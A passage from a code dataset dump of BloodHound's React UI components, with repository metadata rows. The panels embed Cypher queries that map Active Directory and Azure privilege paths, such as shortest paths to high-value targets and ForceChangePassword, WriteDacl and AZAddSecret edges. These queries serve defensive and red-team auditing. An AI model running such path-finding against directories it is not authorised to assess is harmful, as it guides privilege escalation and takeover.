Clear Sessions
</button>
<button
type='button'
className={styles.btnright}
onClick={toggleDBWarnModal}
>
Clear Database
</button>
</div>
<p></p>
<div className='text-center'>
<a href='#' onClick={toggleLogoutModal}>
Log Out / Switch Database
</a>
</div>
<p></p>
</div>
</div>
);
};
DatabaseDataDisplay.propTypes = {};
export default DatabaseDataDisplay;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/DatabaseDataDisplay.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,906 |
```jsx
import React, { Component } from 'react';
import './PrebuiltQueries.module.css';
export default class PrebuiltQueryNode extends Component {
render() {
let c;
c = function () {
if (appStore.prebuiltQuery.length === 0) {
appStore.prebuiltQuery = JSON.parse(
JSON.stringify(this.props.info.queryList)
);
emitter.emit('prebuiltQueryStart');
}
}.bind(this);
return (
<tr style={{ cursor: 'pointer' }} onClick={c}>
<td align='left'>{this.props.info.name}</td>
<td align='right' />
</tr>
);
}
}
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/PrebuiltQueryNode.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 143 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZAutomationAccountNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZAutomationAccount') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(`MATCH (n:AZAutomationAccount {objectid: $objectid}) RETURN n AS node`, {
objectid: id,
})
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherNoNumberLink
target={objectid}
property='See Automation Account within Tenant'
query='MATCH p = (d:AZTenant)-[r:AZContains*1..]->(u:AZAutomationAccount {objectid: $objectid}) RETURN p'
/>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZAutomationAccount {objectid:$objectid})-[:AZManagedIdentity]->(n)'
}
property={'Managed Identities'}
target={objectid}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header={'INBOUND OBJECT CONTROL'}>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZAutomationContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZAutomationAccount {objectid:$objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZMemberOf]->(g)-[r1:AZAutomationContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZAutomationAccount {objectid:$objectid})'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r1*1..]->(c:AZAutomationAccount {objectid:$objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
</div>
</div>
);
};
AZAutomationAccountNodeData.propTypes = {};
export default AZAutomationAccountNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZAutomationAccountNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,089 |
```jsx
import clsx from 'clsx';
import React, { useContext, useEffect, useState } from 'react';
import { Table } from 'react-bootstrap';
import { AppContext } from '../../../AppContext';
import CollapsibleSection from './Components/CollapsibleSection';
import ExtraNodeProps from './Components/ExtraNodeProps';
import MappedNodeProps from './Components/MappedNodeProps';
import NodeCypherLink from './Components/NodeCypherLink';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import styles from './NodeData.module.css';
const GroupNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'Group') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(`MATCH (n:Group {objectid: $objectid}) RETURN n AS node`, {
objectid: id,
})
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
description: 'Description',
admincount: 'Admin Count',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Sessions'
target={objectid}
baseQuery={
'MATCH p = (c:Computer)-[n:HasSession]->(u:User)-[r2:MemberOf*1..]->(g:Group {objectid: $objectid})'
}
end={label}
/>
<NodeCypherLink
property='Reachable High Value Targets'
target={objectid}
baseQuery={
'MATCH (m:Group {objectid: $objectid}),(n {highvalue:true}),p=shortestPath((m)-[r*1..]->(n)) WHERE NONE (r IN relationships(p) WHERE type(r)= "GetChanges") AND NONE (r in relationships(p) WHERE type(r)="GetChangesAll") AND NOT m=n'
}
start={label}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='GROUP MEMBERS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Direct Members'
target={objectid}
baseQuery={
'MATCH p=(n)-[b:MemberOf]->(c:Group {objectid: $objectid})'
}
end={label}
/>
<NodeCypherLink
property='Unrolled Members'
target={objectid}
baseQuery={
'MATCH p =(n)-[r:MemberOf*1..]->(g:Group {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Foreign Members'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:MemberOf*1..]->(g:Group {objectid: $objectid}) WHERE NOT g.domain = n.domain'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='Group Membership'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Group Membership'
target={objectid}
baseQuery={
'MATCH p=(g1:Group {objectid: $objectid})-[r:MemberOf]->(n:Group)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Unrolled Member Of'
target={objectid}
baseQuery={
'MATCH p = (g1:Group {objectid: $objectid})-[r:MemberOf*1..]->(n:Group)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Foreign Group Membership'
target={objectid}
baseQuery={
'MATCH (m:Group {objectid: $objectid}) MATCH (n:Group) WHERE NOT m.domain=n.domain MATCH p=(m)-[r:MemberOf*1..]->(n)'
}
start={label}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='LOCAL ADMIN RIGHTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Local Admin'
target={objectid}
baseQuery={
'MATCH p=(m:Group {objectid: $objectid})-[r:AdminTo]->(n:Computer)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Group Delegated Local Admin Rights'
target={objectid}
baseQuery={
'MATCH p = (g1:Group {objectid: $objectid})-[r1:MemberOf*1..]->(g2:Group)-[r2:AdminTo]->(n:Computer)'
}
start={label}
distinct
/>
<NodePlayCypherLink
property='Derivative Local Admin Rights'
target={objectid}
baseQuery={
'MATCH p = shortestPath((g:Group {objectid: $objectid})-[r:MemberOf|AdminTo|HasSession*1..]->(n:Computer))'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='EXECUTION RIGHTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree RDP Privileges'
target={objectid}
baseQuery={
'MATCH p=(m:Group {objectid: $objectid})-[r:CanRDP]->(n:Computer)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Group Delegated RDP Privileges'
target={objectid}
baseQuery={
'MATCH p=(m:Group {objectid: $objectid})-[r1:MemberOf*1..]->(g:Group)-[r2:CanRDP]->(n:Computer)'
}
start={label}
distinct
/>
<NodeCypherLink
property='First Degree DCOM Privileges'
target={objectid}
baseQuery={
'MATCH p=(m:Group {objectid: $objectid})-[r:ExecuteDCOM]->(n:Computer)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Group Delegated DCOM Privileges'
target={objectid}
baseQuery={
'MATCH p=(m:Group {objectid: $objectid})-[r1:MemberOf*1..]->(g:Group)-[r2:ExecuteDCOM]->(n:Computer)'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='OUTBOUND OBJECT CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Object Control'
target={objectid}
baseQuery={
'MATCH p = (g:Group {objectid: $objectid})-[r]->(n) WHERE r.isacl=true'
}
start={label}
distinct
/>
<NodeCypherLink
property='Group Delegated Object Control'
target={objectid}
baseQuery={
'MATCH p = (g1:Group {objectid: $objectid})-[r1:MemberOf*1..]->(g2:Group)-[r2]->(n) WHERE r2.isacl=true'
}
start={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Control'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((g:Group {objectid: $objectid})-[r:MemberOf|AddSelf|WriteSPN|AddKeyCredentialLink|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n))'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='INBOUND CONTROL RIGHTS'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AddMember|AddSelf|WriteSPN|AddKeyCredentialLink|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(g:Group {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:MemberOf*1..]->(g1:Group)-[r1]->(g2:Group {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid AND r1.isacl=true'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r:MemberOf|AddSelf|WriteSPN|AddKeyCredentialLink|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(g:Group {objectid: $objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type='Group' />
<NodeGallery
objectid={objectid}
type='Group'
visible={visible}
/> */}
</div>
</div>
);
};
GroupNodeData.propTypes = {};
export default GroupNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/GroupNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 2,796 |
```jsx
import React from 'react';
import { useContext } from 'react';
import { AppContext } from '../../../AppContext';
const NoNodeData = ({ visible }) => {
const context = useContext(AppContext);
return (
<div
style={{ color: context.darkMode ? 'white' : 'black' }}
className={visible ? '' : 'hidden'}
>
<h3>Node Properties</h3>
<p style={{ marginLeft: 10 }}>Select a node for more information</p>
</div>
);
};
NoNodeData.propTypes = {};
export default NoNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/NoNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 128 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import { AppContext } from '../../../AppContext';
import CollapsibleSection from './Components/CollapsibleSection';
import ExtraNodeProps from './Components/ExtraNodeProps';
import MappedNodeProps from './Components/MappedNodeProps';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import styles from './NodeData.module.css';
import clsx from 'clsx';
import { Table } from 'react-bootstrap';
const ContainerNodeData = ({}) => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'Container') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(
`MATCH (n:Container {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
)
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel([...props.name] || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
description: 'Description',
};
return objectid == null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherNoNumberLink
query='MATCH p = ()-[r:Contains*1..]->(:Container {objectid: $objectid}) RETURN p'
target={objectid}
property='See Container Within Domain Tree'
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='Affecting GPOs'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='GPOs Directly Affecting This Container'
target={objectid}
baseQuery={
'MATCH p=(n:GPO)-[r:GPLink]->(o:Container {objectid: $objectid})'
}
/>
<NodeCypherLink
property='GPOs Affecting This Container'
target={objectid}
baseQuery={
'MATCH p=(n:GPO)-[r:GPLink|Contains*1..]->(o:Container {objectid: $objectid})'
}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='Descendant Objects'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Total User Objects'
target={objectid}
baseQuery={
'MATCH p=(o:Container {objectid: $objectid})-[r:Contains*1..]->(n:User)'
}
distinct
/>
<NodeCypherLink
property='Total Group Objects'
target={objectid}
baseQuery={
'MATCH p=(o:Container {objectid: $objectid})-[r:Contains*1..]->(n:Group)'
}
distinct
/>
<NodeCypherLink
property='Total Computer Objects'
target={objectid}
baseQuery={
'MATCH p=(o:Container {objectid: $objectid})-[r:Contains*1..]->(n:Computer)'
}
distinct
/>
<NodeCypherLink
property='Sibling Objects within Container'
target={objectid}
baseQuery={
'MATCH (o1)-[r1:Contains]->(o2:Container {objectid: $objectid}) WITH o1 MATCH p=(d)-[r2:Contains*1..]->(o1)-[r3:Contains]->(n)'
}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
</div>
</div>
);
};
export default ContainerNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/ContainerNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,199 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLinkComplex from './Components/NodeCypherLinkComplex';
import NodeCypherLink from './Components/NodeCypherLink';
import NodeCypherNoNumberLink from './Components/NodeCypherNoNumberLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZVMScaleSetNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setObjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZVMScaleSet') {
setVisible(true);
setObjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(`MATCH (n:AZVMScaleSet {objectid: $objectid}) RETURN n AS node`, {
objectid: id,
})
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setObjectid(null);
setVisible(false);
}
};
const displayMap = {
objectid: 'Object ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherNoNumberLink
target={objectid}
property='See VM Scale Set within Tenant'
query='MATCH p = (d:AZTenant)-[r:AZContains*1..]->(u:AZVMScaleSet {objectid: $objectid}) RETURN p'
/>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZVMScaleSet {objectid:$objectid})-[:AZManagedIdentity]->(n)'
}
property={'Managed Identities'}
target={objectid}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header={'INBOUND OBJECT CONTROL'}>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZVMContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZVMScaleSet {objectid:$objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p=(n)-[r:AZMemberOf]->(g)-[r1:AZVMContributor|AZContributor|AZUserAccessAdministrator|AZOwns]->(c:AZVMScaleSet {objectid:$objectid})'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r1*1..]->(c:AZVMScaleSet {objectid:$objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
</div>
</div>
);
};
AZVMScaleSetNodeData.propTypes = {};
export default AZVMScaleSetNodeData;
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZVMScaleSetNodeData.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,110 |
```jsx
import React, { useContext, useEffect, useState } from 'react';
import clsx from 'clsx';
import CollapsibleSection from './Components/CollapsibleSection';
import NodeCypherLink from './Components/NodeCypherLink';
import MappedNodeProps from './Components/MappedNodeProps';
import ExtraNodeProps from './Components/ExtraNodeProps';
import NodePlayCypherLink from './Components/NodePlayCypherLink';
import { withAlert } from 'react-alert';
import { Table } from 'react-bootstrap';
import styles from './NodeData.module.css';
import { AppContext } from '../../../AppContext';
const AZServicePrincipalNodeData = () => {
const [visible, setVisible] = useState(false);
const [objectid, setobjectid] = useState(null);
const [label, setLabel] = useState(null);
const [domain, setDomain] = useState(null);
const [nodeProps, setNodeProps] = useState({});
const context = useContext(AppContext);
useEffect(() => {
emitter.on('nodeClicked', nodeClickEvent);
return () => {
emitter.removeListener('nodeClicked', nodeClickEvent);
};
}, []);
const nodeClickEvent = (type, id, blocksinheritance, domain) => {
if (type === 'AZServicePrincipal') {
setVisible(true);
setobjectid(id);
setDomain(domain);
let session = driver.session();
session
.run(
`MATCH (n:AZServicePrincipal {objectid: $objectid}) RETURN n AS node`,
{
objectid: id,
}
)
.then((r) => {
let props = r.records[0].get('node').properties;
setNodeProps(props);
setLabel(props.name || props.azname || objectid);
session.close();
});
} else {
setobjectid(null);
setVisible(false);
}
};
const displayMap = {
displayname: 'Display Name',
objectid: 'Object ID',
enabled: 'Enabled',
descripton: 'Description',
appdescription: 'App Description',
appdisplayname: 'App Display Name',
appownerorganizationid: 'App Owner Organization ID',
serviceprincipaltype: 'Service Principal Type',
tenantid: 'Tenant ID',
};
return objectid === null ? (
<div></div>
) : (
<div
className={clsx(
!visible && 'displaynone',
context.darkMode ? styles.dark : styles.light
)}
>
<div className={clsx(styles.dl)}>
<h5>{label || objectid}</h5>
<CollapsibleSection header='OVERVIEW'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
baseQuery={
'MATCH p=(:AZServicePrincipal {objectid: $objectid})-[:AZMemberOf|AZHasRole*1..]->(n:AZRole)'
}
property={'Azure AD Admin Roles'}
target={objectid}
/>
<NodeCypherLink
property='Reachable High Value Targets'
target={objectid}
baseQuery={
'MATCH (m:AZServicePrincipal {objectid: $objectid}),(n {highvalue:true}),p=shortestPath((m)-[r*1..]->(n)) WHERE NONE (r IN relationships(p) WHERE type(r)= "GetChanges") AND NONE (r in relationships(p) WHERE type(r)="GetChangesAll") AND NOT m=n'
}
start={label}
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<MappedNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<ExtraNodeProps
displayMap={displayMap}
properties={nodeProps}
label={label}
/>
<hr></hr>
<CollapsibleSection header='GROUP MEMBERSHIP'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Group Membership'
target={objectid}
baseQuery={
'MATCH p=(m:AZServicePrincipal {objectid: $objectid})-[r:AZMemberOf]->(n:AZGroup)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Unrolled Member Of'
target={objectid}
baseQuery={
'MATCH p = (m:AZServicePrincipal {objectid: $objectid})-[r:AZMemberOf*1..]->(n:AZGroup)'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='MS GRAPH PRIVILEGES'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='MS Graph App Role Assignments'
target={objectid}
baseQuery={
'MATCH p=(m:AZServicePrincipal {objectid: $objectid})-[r:AZMGAppRoleAssignment_ReadWrite_All|AZMGApplication_ReadWrite_All|AZMGDirectory_ReadWrite_All|AZMGGroupMember_ReadWrite_All|AZMGGroup_ReadWrite_All|AZMGRoleManagement_ReadWrite_Directory|AZMGServicePrincipalEndpoint_ReadWrite_All]->(n:AZServicePrincipal)'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='OUTBOUND OBJECT CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='First Degree Object Control'
target={objectid}
baseQuery={
'MATCH p = (g:AZServicePrincipal {objectid: $objectid})-[r:AZAddMembers|AZAddOwner|AZAddSecret|AZAppAdmin|AZAvereContributor|AZCloudAppAdmin|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZMGAddMember|AZMGAddOwner|AZMGAddSecret|AZMGGrantAppRoles|AZMGGrantRole|AZOwns|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZVMAdminLogin|AZVMContributor]->(n)'
}
start={label}
distinct
/>
<NodeCypherLink
property='Group Delegated Object Control'
target={objectid}
baseQuery={
'MATCH p = (g1:AZServicePrincipal {objectid: $objectid})-[r1:AZMemberOf*1..]->(g2)-[r2:AZAddMembers|AZAddOwner|AZAddSecret|AZAppAdmin|AZAvereContributor|AZCloudAppAdmin|AZContributor|AZExecuteCommand|AZGetCertificates|AZGetKeys|AZGetSecrets|AZGlobalAdmin|AZMGAddMember|AZMGAddOwner|AZMGAddSecret|AZMGGrantAppRoles|AZMGGrantRole|AZOwns|AZPrivilegedRoleAdmin|AZResetPassword|AZUserAccessAdministrator|AZVMAdminLogin|AZVMContributor]->(n)'
}
start={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Control'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((g:AZServicePrincipal {objectid: $objectid})-[r*1..]->(n))'
}
start={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
<hr></hr>
<CollapsibleSection header='INBOUND OBJECT CONTROL'>
<div className={styles.itemlist}>
<Table>
<thead></thead>
<tbody className='searchable'>
<NodeCypherLink
property='Explicit Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g:AZServicePrincipal {objectid: $objectid})'
}
end={label}
distinct
/>
<NodeCypherLink
property='Unrolled Object Controllers'
target={objectid}
baseQuery={
'MATCH p = (n)-[r:MemberOf*1..]->(g1)-[r1:AZAddOwner|AZAddSecret|AZAppAdmin|AZCloudAppAdmin|AZMGAddOwner|AZMGAddSecret|AZOwns]->(g2:AZServicePrincipal {objectid: $objectid}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.objectid = g2.objectid) AND NOT n.objectid = g2.objectid'
}
end={label}
distinct
/>
<NodePlayCypherLink
property='Transitive Object Controllers'
target={objectid}
baseQuery={
'MATCH (n) WHERE NOT n.objectid=$objectid WITH n MATCH p = shortestPath((n)-[r*1..]->(g:AZServicePrincipal {objectid: $objectid}))'
}
end={label}
distinct
/>
</tbody>
</Table>
</div>
</CollapsibleSection>
{/* <Notes objectid={objectid} type={'AZUser'} />
<NodeGallery
objectid={objectid}
type={'AZUser'}
visible={visible}
/> */}
</div>
</div>
);
};
AZServicePrincipalNodeData.propTypes = {};
export default withAlert()(AZServicePrincipalNodeData);
``` | /content/code_sandbox/src/components/SearchContainer/Tabs/AZServicePrincipal.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 2,225 |
```css
.dark {
color: white;
}
.dark h3 {
color: white;
}
.dark :global .table {
background-color: #151d29;
border-left: solid #151d29 0;
border-right: solid #151d29 0;
border-top: solid #151d29 0;
}
.dark {
background-color: #151d29;
border-left: solid #151d29 0;
border-right: solid #151d29 0;
}
.light {
box-shadow: 0 4px 9px 0 rgba(0, 0, 0, 0.2);
border-radius: 11px;
}
.itemlist {
overflow-y: auto;
overflow-x: hidden;
margin: 5px 10px;
}
.itemlist :global table {
margin-bottom: 0;
margin-top: 0;
}
.itemlist :global table > thead {
text-align: left;
position: -webkit-sticky;
position: sticky;
}
